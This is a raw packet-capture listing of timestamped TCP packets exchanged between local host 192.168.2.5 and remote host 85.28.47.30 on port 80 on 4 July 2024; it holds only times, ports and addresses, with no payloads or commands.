Jul 4, 2024 22:20:29.509277105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.509351015 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.509399891 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.509418011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.509428978 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.509439945 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.509457111 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.509469032 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.509521961 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.509602070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.509618044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.509694099 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.510010004 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.510060072 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.510070086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.510081053 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.510111094 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.510139942 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.510169029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.510250092 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.510251045 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.510260105 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.510324001 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.510436058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.510447025 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.510457039 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.510468006 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.510499954 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.510499954 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.510835886 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.510847092 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.510857105 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.510868073 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.510878086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.510888100 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.510898113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.510900021 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.510900021 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.510907888 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.510931969 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.510931969 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.510957956 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.511275053 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.511326075 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.511341095 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.511357069 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.511357069 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.511392117 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.511729002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.511744022 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.511754036 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.511765003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.511776924 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.511785030 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.511789083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.511801004 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.511801004 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.511825085 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.511833906 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.511919022 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.511976957 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.512007952 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.512017965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.512052059 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.512209892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.512219906 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.512301922 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.575467110 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.575618029 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.576391935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.576462984 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.576473951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.576489925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.576519966 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.576534986 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.576664925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.576675892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.576718092 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.578824997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.578879118 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.579148054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.579158068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.579166889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.579176903 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.579189062 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.579205036 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.579205036 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.579231024 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.581142902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.581190109 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.581207037 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.581207991 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.581249952 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.581249952 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.581291914 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.581305027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.581314087 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.581345081 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.581345081 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.581365108 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.582859993 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.582912922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.582922935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.582942963 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.582942963 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.582962036 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.592258930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.592293978 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.592303991 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.592341900 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.592341900 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.592423916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.592437983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.592478991 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.592478991 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.592535973 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.592550993 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.592561960 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.592572927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.592582941 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.592605114 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.596200943 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.596280098 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.596290112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.596365929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.596375942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.596389055 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.596474886 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.596514940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.596525908 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.596534967 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.596579075 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.596579075 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.599071980 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.599165916 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.599235058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.599282980 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.599292040 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.599325895 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.599373102 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.599385023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.599394083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.599443913 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.599443913 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.599497080 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.599509001 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.599535942 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.599555969 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.600214005 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.600272894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.600282907 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.600289106 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.600327015 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.600327015 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.600358963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.600369930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.600378990 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.600415945 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.600415945 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.600486040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.600497961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.600545883 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.600545883 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.600600958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.600613117 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.600646019 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.600826979 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.600837946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.600848913 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.600861073 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.600872040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.600888014 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.600888014 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.600934982 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.601505041 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.601574898 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.601577997 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.601584911 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.601620913 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.601636887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.601646900 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.601656914 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.601679087 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.601691961 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.601780891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.601793051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.601826906 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.601850033 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.601937056 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.601948977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.601991892 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.602061987 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.602072954 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.602082014 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.602092028 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.602102995 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.602113962 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.602117062 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.602133036 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.602273941 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.602324009 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.602324009 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.602348089 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.602360010 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.602397919 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.602399111 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.602509975 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.602519989 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.602529049 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.602540016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.602550030 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.602566957 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.602580070 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.602596998 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.602783918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.602794886 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.602803946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.602813959 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.602824926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.602834940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.602842093 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.602842093 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.602844954 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.602875948 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.602904081 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.603104115 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603115082 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603131056 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603141069 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603153944 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603167057 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.603167057 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.603193045 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.603274107 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.603401899 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603413105 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603423119 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603434086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603444099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603454113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603462934 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.603462934 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.603499889 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.603727102 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603738070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603754044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603763103 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603769064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603777885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603779078 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.603789091 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603791952 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.603801012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603811026 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603821039 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603832006 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603832006 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.603842974 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603852987 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.603863955 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.603863955 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.603899002 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.603899002 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.604397058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.604408026 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.604418039 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.604429007 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.604441881 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.604450941 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.604454041 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.604465008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.604474068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.604479074 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.604490042 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.604499102 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.604499102 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.604501963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.604513884 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.604540110 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.604541063 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.604897976 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.604909897 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.604990005 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.670315027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.670484066 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.670500994 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.670511961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.670521975 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.670531988 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.670542002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.670547009 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.670556068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.670586109 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.670624018 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.675086021 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.675096989 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.675106049 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.675180912 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.675180912 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.675198078 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.675209045 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.675218105 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.675230026 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.675240040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.675260067 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.675260067 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.675281048 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.686080933 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.686198950 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.686229944 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.686244011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.686276913 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.686294079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.686359882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.686371088 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.686379910 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.686413050 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.686434984 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.686604977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.686615944 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.686688900 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.690166950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.690176010 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.690186977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.690216064 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.690259933 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.690426111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.690438032 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.690448046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.690459967 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:29.690473080 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.690517902 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:29.692919970 CEST	80	49704	85.28.47.30	192.168.2.5
